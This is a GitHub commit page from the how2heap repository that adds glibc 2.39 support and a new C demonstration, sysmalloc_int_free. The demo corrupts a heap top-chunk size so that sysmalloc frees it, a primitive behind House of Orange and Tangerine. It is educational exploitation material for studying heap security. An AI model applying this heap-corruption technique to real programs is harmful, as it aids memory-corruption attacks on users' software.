Skip to content

Commit

Permalink
Merge pull request shellphish#177 from shellphish/2.39
Browse files Browse the repository at this point in the history
2.39
  • Loading branch information
Kyle-Kyle authored Apr 17, 2024
2 parents 2a6eedb + ae4dbf5 commit 02fb741
Show file tree
Hide file tree
Showing 40 changed files with 4,484 additions and 29 deletions.
26 changes: 13 additions & 13 deletions .github/workflows/ci.yml
Original file line number Diff line number Diff line change
Expand Up @@ -152,16 +152,16 @@ jobs:
with:
ubuntu: '23.10'
glibc: '2.38'
# v2_39:
# runs-on: ubuntu-22.04
# name: glibc-v2.39
# steps:
# - name: build how2heap
# uses: shellphish/how2heap/ci/build@master
# with:
# ubuntu: '24.04'
# - name: test how2heap
# uses: shellphish/how2heap/ci/test@master
# with:
# ubuntu: '24.04'
# glibc: '2.39'
v2_39:
runs-on: ubuntu-22.04
name: glibc-v2.39
steps:
- name: build how2heap
uses: shellphish/how2heap/ci/build@master
with:
ubuntu: '24.04'
- name: test how2heap
uses: shellphish/how2heap/ci/test@master
with:
ubuntu: '24.04'
glibc: '2.39'
26 changes: 14 additions & 12 deletions Makefile
Original file line number Diff line number Diff line change
@@ -1,15 +1,16 @@
BASE = malloc_playground first_fit calc_tcache_idx
V2.23 = fastbin_dup fastbin_dup_consolidate fastbin_dup_into_stack house_of_einherjar house_of_force house_of_gods house_of_lore house_of_mind_fastbin house_of_orange house_of_roman house_of_spirit house_of_storm large_bin_attack mmap_overlapping_chunks overlapping_chunks overlapping_chunks_2 poison_null_byte unsafe_unlink unsorted_bin_attack unsorted_bin_into_stack
V2.24 = fastbin_dup fastbin_dup_consolidate fastbin_dup_into_stack house_of_einherjar house_of_force house_of_gods house_of_lore house_of_mind_fastbin house_of_roman house_of_spirit house_of_storm large_bin_attack mmap_overlapping_chunks overlapping_chunks overlapping_chunks_2 poison_null_byte unsafe_unlink unsorted_bin_attack unsorted_bin_into_stack
V2.27 = fastbin_dup fastbin_dup_consolidate fastbin_dup_into_stack fastbin_reverse_into_tcache house_of_botcake house_of_einherjar house_of_force house_of_lore house_of_mind_fastbin house_of_spirit house_of_storm large_bin_attack mmap_overlapping_chunks overlapping_chunks poison_null_byte tcache_house_of_spirit tcache_poisoning tcache_stashing_unlink_attack unsafe_unlink unsorted_bin_attack unsorted_bin_into_stack
V2.31 = fastbin_dup fastbin_dup_consolidate fastbin_dup_into_stack fastbin_reverse_into_tcache house_of_botcake house_of_einherjar house_of_lore house_of_mind_fastbin house_of_spirit large_bin_attack mmap_overlapping_chunks overlapping_chunks poison_null_byte tcache_house_of_spirit tcache_poisoning tcache_stashing_unlink_attack unsafe_unlink
V2.32 = decrypt_safe_linking fastbin_dup fastbin_dup_consolidate fastbin_dup_into_stack fastbin_reverse_into_tcache house_of_botcake house_of_einherjar house_of_lore house_of_mind_fastbin house_of_spirit large_bin_attack mmap_overlapping_chunks overlapping_chunks poison_null_byte tcache_house_of_spirit tcache_poisoning tcache_stashing_unlink_attack unsafe_unlink safe_link_double_protect house_of_water
V2.33 = decrypt_safe_linking fastbin_dup fastbin_dup_consolidate fastbin_dup_into_stack fastbin_reverse_into_tcache house_of_botcake house_of_einherjar house_of_lore house_of_mind_fastbin house_of_spirit large_bin_attack mmap_overlapping_chunks overlapping_chunks poison_null_byte tcache_house_of_spirit tcache_poisoning tcache_stashing_unlink_attack unsafe_unlink safe_link_double_protect house_of_water
V2.34 = decrypt_safe_linking fastbin_dup fastbin_dup_consolidate fastbin_dup_into_stack fastbin_reverse_into_tcache house_of_botcake house_of_einherjar house_of_lore house_of_mind_fastbin house_of_spirit large_bin_attack mmap_overlapping_chunks overlapping_chunks poison_null_byte tcache_house_of_spirit tcache_poisoning tcache_stashing_unlink_attack unsafe_unlink safe_link_double_protect house_of_water
V2.35 = decrypt_safe_linking fastbin_dup fastbin_dup_consolidate fastbin_dup_into_stack fastbin_reverse_into_tcache house_of_botcake house_of_einherjar house_of_lore house_of_mind_fastbin house_of_spirit large_bin_attack mmap_overlapping_chunks overlapping_chunks poison_null_byte tcache_house_of_spirit tcache_poisoning tcache_stashing_unlink_attack unsafe_unlink safe_link_double_protect house_of_water
V2.36 = decrypt_safe_linking fastbin_dup fastbin_dup_consolidate fastbin_dup_into_stack fastbin_reverse_into_tcache house_of_botcake house_of_einherjar house_of_lore house_of_mind_fastbin house_of_spirit large_bin_attack mmap_overlapping_chunks overlapping_chunks poison_null_byte tcache_house_of_spirit tcache_poisoning tcache_stashing_unlink_attack unsafe_unlink safe_link_double_protect house_of_water
V2.37 = decrypt_safe_linking fastbin_dup fastbin_dup_consolidate fastbin_dup_into_stack fastbin_reverse_into_tcache house_of_botcake house_of_einherjar house_of_lore house_of_mind_fastbin house_of_spirit large_bin_attack mmap_overlapping_chunks overlapping_chunks poison_null_byte tcache_house_of_spirit tcache_poisoning tcache_stashing_unlink_attack unsafe_unlink safe_link_double_protect house_of_water
V2.38 = decrypt_safe_linking fastbin_dup fastbin_dup_consolidate fastbin_dup_into_stack fastbin_reverse_into_tcache house_of_botcake house_of_einherjar house_of_lore house_of_mind_fastbin house_of_spirit large_bin_attack mmap_overlapping_chunks overlapping_chunks poison_null_byte tcache_house_of_spirit tcache_poisoning tcache_stashing_unlink_attack unsafe_unlink safe_link_double_protect house_of_water
V2.23 = fastbin_dup fastbin_dup_consolidate fastbin_dup_into_stack house_of_einherjar house_of_force house_of_gods house_of_lore house_of_mind_fastbin house_of_orange house_of_roman house_of_spirit house_of_storm large_bin_attack mmap_overlapping_chunks overlapping_chunks overlapping_chunks_2 poison_null_byte unsafe_unlink unsorted_bin_attack unsorted_bin_into_stack sysmalloc_int_free
V2.24 = fastbin_dup fastbin_dup_consolidate fastbin_dup_into_stack house_of_einherjar house_of_force house_of_gods house_of_lore house_of_mind_fastbin house_of_roman house_of_spirit house_of_storm large_bin_attack mmap_overlapping_chunks overlapping_chunks overlapping_chunks_2 poison_null_byte unsafe_unlink unsorted_bin_attack unsorted_bin_into_stack sysmalloc_int_free
V2.27 = fastbin_dup fastbin_dup_consolidate fastbin_dup_into_stack fastbin_reverse_into_tcache house_of_botcake house_of_einherjar house_of_force house_of_lore house_of_mind_fastbin house_of_spirit house_of_storm large_bin_attack mmap_overlapping_chunks overlapping_chunks poison_null_byte tcache_house_of_spirit tcache_poisoning tcache_stashing_unlink_attack unsafe_unlink unsorted_bin_attack unsorted_bin_into_stack sysmalloc_int_free house_of_tangerine
V2.31 = fastbin_dup fastbin_dup_consolidate fastbin_dup_into_stack fastbin_reverse_into_tcache house_of_botcake house_of_einherjar house_of_lore house_of_mind_fastbin house_of_spirit large_bin_attack mmap_overlapping_chunks overlapping_chunks poison_null_byte tcache_house_of_spirit tcache_poisoning tcache_stashing_unlink_attack unsafe_unlink sysmalloc_int_free house_of_tangerine
V2.32 = decrypt_safe_linking fastbin_dup fastbin_dup_consolidate fastbin_dup_into_stack fastbin_reverse_into_tcache house_of_botcake house_of_einherjar house_of_lore house_of_mind_fastbin house_of_spirit large_bin_attack mmap_overlapping_chunks overlapping_chunks poison_null_byte tcache_house_of_spirit tcache_poisoning tcache_stashing_unlink_attack unsafe_unlink safe_link_double_protect house_of_water sysmalloc_int_free house_of_tangerine
V2.33 = decrypt_safe_linking fastbin_dup fastbin_dup_consolidate fastbin_dup_into_stack fastbin_reverse_into_tcache house_of_botcake house_of_einherjar house_of_lore house_of_mind_fastbin house_of_spirit large_bin_attack mmap_overlapping_chunks overlapping_chunks poison_null_byte tcache_house_of_spirit tcache_poisoning tcache_stashing_unlink_attack unsafe_unlink safe_link_double_protect house_of_water sysmalloc_int_free house_of_tangerine
V2.34 = decrypt_safe_linking fastbin_dup fastbin_dup_consolidate fastbin_dup_into_stack fastbin_reverse_into_tcache house_of_botcake house_of_einherjar house_of_lore house_of_mind_fastbin house_of_spirit large_bin_attack mmap_overlapping_chunks overlapping_chunks poison_null_byte tcache_house_of_spirit tcache_poisoning tcache_stashing_unlink_attack unsafe_unlink safe_link_double_protect house_of_water sysmalloc_int_free house_of_tangerine
V2.35 = decrypt_safe_linking fastbin_dup fastbin_dup_consolidate fastbin_dup_into_stack fastbin_reverse_into_tcache house_of_botcake house_of_einherjar house_of_lore house_of_mind_fastbin house_of_spirit large_bin_attack mmap_overlapping_chunks overlapping_chunks poison_null_byte tcache_house_of_spirit tcache_poisoning tcache_stashing_unlink_attack unsafe_unlink safe_link_double_protect house_of_water sysmalloc_int_free house_of_tangerine
V2.36 = decrypt_safe_linking fastbin_dup fastbin_dup_consolidate fastbin_dup_into_stack fastbin_reverse_into_tcache house_of_botcake house_of_einherjar house_of_lore house_of_mind_fastbin house_of_spirit large_bin_attack mmap_overlapping_chunks overlapping_chunks poison_null_byte tcache_house_of_spirit tcache_poisoning tcache_stashing_unlink_attack unsafe_unlink safe_link_double_protect house_of_water sysmalloc_int_free house_of_tangerine
V2.37 = decrypt_safe_linking fastbin_dup fastbin_dup_consolidate fastbin_dup_into_stack fastbin_reverse_into_tcache house_of_botcake house_of_einherjar house_of_lore house_of_mind_fastbin house_of_spirit large_bin_attack mmap_overlapping_chunks overlapping_chunks poison_null_byte tcache_house_of_spirit tcache_poisoning tcache_stashing_unlink_attack unsafe_unlink safe_link_double_protect house_of_water sysmalloc_int_free house_of_tangerine
V2.38 = decrypt_safe_linking fastbin_dup fastbin_dup_consolidate fastbin_dup_into_stack fastbin_reverse_into_tcache house_of_botcake house_of_einherjar house_of_lore house_of_mind_fastbin house_of_spirit large_bin_attack mmap_overlapping_chunks overlapping_chunks poison_null_byte tcache_house_of_spirit tcache_poisoning tcache_stashing_unlink_attack unsafe_unlink safe_link_double_protect house_of_water sysmalloc_int_free house_of_tangerine
V2.39 = decrypt_safe_linking fastbin_dup fastbin_dup_consolidate fastbin_dup_into_stack fastbin_reverse_into_tcache house_of_botcake house_of_einherjar house_of_lore house_of_mind_fastbin house_of_spirit large_bin_attack mmap_overlapping_chunks overlapping_chunks poison_null_byte tcache_house_of_spirit tcache_poisoning tcache_stashing_unlink_attack unsafe_unlink safe_link_double_protect house_of_water sysmalloc_int_free house_of_tangerine

# turn technique names into paths
VV2.23 = $(addprefix glibc_2.23/, $(V2.23))
Expand All @@ -23,8 +24,9 @@ VV2.35 = $(addprefix glibc_2.35/, $(V2.35))
VV2.36 = $(addprefix glibc_2.36/, $(V2.36))
VV2.37 = $(addprefix glibc_2.37/, $(V2.37))
VV2.38 = $(addprefix glibc_2.38/, $(V2.38))
VV2.39 = $(addprefix glibc_2.39/, $(V2.39))

PROGRAMS = $(BASE) $(VV2.23) $(VV2.24) $(VV2.27) $(VV2.31) $(VV2.32) $(VV2.33) $(VV2.34) $(VV2.35) $(VV2.36) $(VV2.37) $(VV2.38)
PROGRAMS = $(BASE) $(VV2.23) $(VV2.24) $(VV2.27) $(VV2.31) $(VV2.32) $(VV2.33) $(VV2.34) $(VV2.35) $(VV2.36) $(VV2.37) $(VV2.38) $(VV2.39)
CFLAGS += -std=c99 -g -Wno-unused-result -Wno-free-nonheap-object
LDLIBS += -ldl

Expand Down
5 changes: 5 additions & 0 deletions glibc_2.23/sysmalloc_int_free.c
Original file line number Diff line number Diff line change
Expand Up @@ -9,6 +9,7 @@
#define SIZE_SZ sizeof(size_t)

#define CHUNK_HDR_SZ (SIZE_SZ*2)
// same for x86_64 and x86
#define MALLOC_ALIGN (SIZE_SZ*2)
#define MALLOC_MASK (-MALLOC_ALIGN)

Expand All @@ -27,6 +28,10 @@
/**
* Tested on:
* + GLIBC 2.23 (x86_64, x86 & aarch64)
* + GLIBC 2.39 (x86_64, x86 & aarch64)
* + GLIBC 2.34 (x86_64, x86 & aarch64)
* + GLIBC 2.31 (x86_64, x86 & aarch64)
* + GLIBC 2.27 (x86_64, x86 & aarch64)
*
* sysmalloc allows us to free() the top chunk of heap to create nearly arbitrary bins,
* which can be used to corrupt heap without needing to call free() directly.
Expand Down
180 changes: 180 additions & 0 deletions glibc_2.24/sysmalloc_int_free.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,180 @@
#define _GNU_SOURCE

#include <stdio.h>
#include <string.h>
#include <assert.h>
#include <malloc.h>
#include <unistd.h>

#define SIZE_SZ sizeof(size_t)

#define CHUNK_HDR_SZ (SIZE_SZ*2)
// same for x86_64 and x86
#define MALLOC_ALIGN (SIZE_SZ*2)
#define MALLOC_MASK (-MALLOC_ALIGN)

#define PAGESIZE sysconf(_SC_PAGESIZE)
#define PAGE_MASK (PAGESIZE-1)

// fencepost are offsets removed from the top before freeing
#define FENCEPOST (2*CHUNK_HDR_SZ)

#define PROBE (0x20-CHUNK_HDR_SZ)

// target top chunk size that should be freed
#define CHUNK_FREED_SIZE 0x150
#define FREED_SIZE (CHUNK_FREED_SIZE-CHUNK_HDR_SZ)

/**
* Tested on:
* + GLIBC 2.23 (x86_64, x86 & aarch64)
* + GLIBC 2.39 (x86_64, x86 & aarch64)
* + GLIBC 2.34 (x86_64, x86 & aarch64)
* + GLIBC 2.31 (x86_64, x86 & aarch64)
* + GLIBC 2.27 (x86_64, x86 & aarch64)
*
* sysmalloc allows us to free() the top chunk of heap to create nearly arbitrary bins,
* which can be used to corrupt heap without needing to call free() directly.
* This is achieved through sysmalloc calling _int_free to the top_chunk (wilderness),
* if the top_chunk can't be merged during heap growth
* https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913
*
* This technique is used in House of Orange & Tangerine
*/
int main() {
size_t allocated_size, *top_size_ptr, top_size, new_top_size, freed_top_size, *new, *old;
// disable buffering
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);

// check if all chunks sizes are aligned
assert((CHUNK_FREED_SIZE & MALLOC_MASK) == CHUNK_FREED_SIZE);

puts("Constants:");
printf("chunk header \t\t= 0x%lx\n", CHUNK_HDR_SZ);
printf("malloc align \t\t= 0x%lx\n", MALLOC_ALIGN);
printf("page align \t\t= 0x%lx\n", PAGESIZE);
printf("fencepost size \t\t= 0x%lx\n", FENCEPOST);
printf("freed size \t\t= 0x%lx\n", FREED_SIZE);

printf("target top chunk size \t= 0x%lx\n", CHUNK_HDR_SZ + MALLOC_ALIGN + CHUNK_FREED_SIZE);

// probe the current size of the top_chunk,
// can be skipped if it is already known or predictable
new = malloc(PROBE);
top_size = new[(PROBE / SIZE_SZ) + 1];
printf("first top size \t\t= 0x%lx\n", top_size);

// calculate allocated_size
allocated_size = top_size - CHUNK_HDR_SZ - (2 * MALLOC_ALIGN) - CHUNK_FREED_SIZE;
allocated_size &= PAGE_MASK;
allocated_size &= MALLOC_MASK;

printf("allocated size \t\t= 0x%lx\n\n", allocated_size);

puts("1. create initial malloc that will be used to corrupt the top_chunk (wilderness)");
new = malloc(allocated_size);

// use BOF or OOB to corrupt the top_chunk
top_size_ptr = &new[(allocated_size / SIZE_SZ)-1 + (MALLOC_ALIGN / SIZE_SZ)];

top_size = *top_size_ptr;

printf(""
"----- %-14p ----\n"
"| NEW | <- initial malloc\n"
"| |\n"
"----- %-14p ----\n"
"| TOP | <- top chunk (wilderness)\n"
"| SIZE (0x%05lx) |\n"
"| ... |\n"
"----- %-14p ---- <- end of current heap page\n\n",
new - 2,
top_size_ptr - 1,
top_size - 1,
top_size_ptr - 1 + (top_size / SIZE_SZ));

puts("2. corrupt the size of top chunk to be less, but still page aligned");

// make sure corrupt top size is page aligned, generally 0x1000
// https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2599
new_top_size = top_size & PAGE_MASK;
*top_size_ptr = new_top_size;
printf(""
"----- %-14p ----\n"
"| NEW |\n"
"| AAAAAAAAAAAAAAAAAAAAA | <- positive OOB (i.e. BOF)\n"
"----- %-14p ----\n"
"| TOP | <- corrupt size of top chunk (wilderness)\n"
"| SIZE (0x%05lx) |\n"
"----- %-14p ---- <- still page aligned\n"
"| ... |\n"
"----- %-14p ---- <- end of current heap page\n\n",
new - 2,
top_size_ptr - 1,
new_top_size - 1,
top_size_ptr - 1 + (new_top_size / SIZE_SZ),
top_size_ptr - 1 + (top_size / SIZE_SZ));


puts("3. create an allocation larger than the remaining top chunk, to trigger heap growth");
puts("The now corrupt top_chunk triggers sysmalloc to call _init_free on it");

// remove fencepost from top_chunk, to get size that will be freed
// https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2895
freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;
assert(freed_top_size == CHUNK_FREED_SIZE);

old = new;
new = malloc(CHUNK_FREED_SIZE + 0x10);

printf(""
"----- %-14p ----\n"
"| OLD |\n"
"| AAAAAAAAAAAAAAAAAAAAA |\n"
"----- %-14p ----\n"
"| FREED | <- old top got freed because it couldn't be merged\n"
"| SIZE (0x%05lx) |\n"
"----- %-14p ----\n"
"| FENCEPOST | <- just some architecture depending padding\n"
"----- %-14p ---- <- still page aligned\n"
"| ... |\n"
"----- %-14p ---- <- end of previous heap page\n"
"| NEW | <- new malloc\n"
"-------------------------\n"
"| TOP | <- top chunk (wilderness)\n"
"| ... |\n"
"------------------------- <- end of current heap page\n\n",
old - 2,
top_size_ptr - 1,
freed_top_size,
top_size_ptr - 1 + (CHUNK_FREED_SIZE/SIZE_SZ),
top_size_ptr - 1 + (new_top_size / SIZE_SZ),
new - (MALLOC_ALIGN / SIZE_SZ));

puts("...\n");

puts("?. reallocated into the freed chunk");

old = new;
new = malloc(FREED_SIZE);

assert((size_t) old > (size_t) new);

printf(""
"----- %-14p ----\n"
"| NEW | <- allocated into the freed chunk\n"
"| |\n"
"----- %-14p ----\n"
"| ... |\n"
"----- %-14p ---- <- end of previous heap page\n"
"| OLD | <- old malloc\n"
"-------------------------\n"
"| TOP | <- top chunk (wilderness)\n"
"| ... |\n"
"------------------------- <- end of current heap page\n",
new - 2,
top_size_ptr - 1 + (CHUNK_FREED_SIZE / SIZE_SZ),
old - (MALLOC_ALIGN / SIZE_SZ));
}
3 changes: 2 additions & 1 deletion glibc_2.27/sysmalloc_int_free.c
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,7 @@

#define CHUNK_HDR_SZ (SIZE_SZ*2)
// same for x86_64 and x86
#define MALLOC_ALIGN 0x10L
#define MALLOC_ALIGN (SIZE_SZ*2)
#define MALLOC_MASK (-MALLOC_ALIGN)

#define PAGESIZE sysconf(_SC_PAGESIZE)
Expand All @@ -27,6 +27,7 @@

/**
* Tested on:
* + GLIBC 2.23 (x86_64, x86 & aarch64)
* + GLIBC 2.39 (x86_64, x86 & aarch64)
* + GLIBC 2.34 (x86_64, x86 & aarch64)
* + GLIBC 2.31 (x86_64, x86 & aarch64)
Expand Down
3 changes: 2 additions & 1 deletion glibc_2.31/sysmalloc_int_free.c
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,7 @@

#define CHUNK_HDR_SZ (SIZE_SZ*2)
// same for x86_64 and x86
#define MALLOC_ALIGN 0x10L
#define MALLOC_ALIGN (SIZE_SZ*2)
#define MALLOC_MASK (-MALLOC_ALIGN)

#define PAGESIZE sysconf(_SC_PAGESIZE)
Expand All @@ -27,6 +27,7 @@

/**
* Tested on:
* + GLIBC 2.23 (x86_64, x86 & aarch64)
* + GLIBC 2.39 (x86_64, x86 & aarch64)
* + GLIBC 2.34 (x86_64, x86 & aarch64)
* + GLIBC 2.31 (x86_64, x86 & aarch64)
Expand Down
Loading

0 comments on commit 02fb741

Please sign in to comment.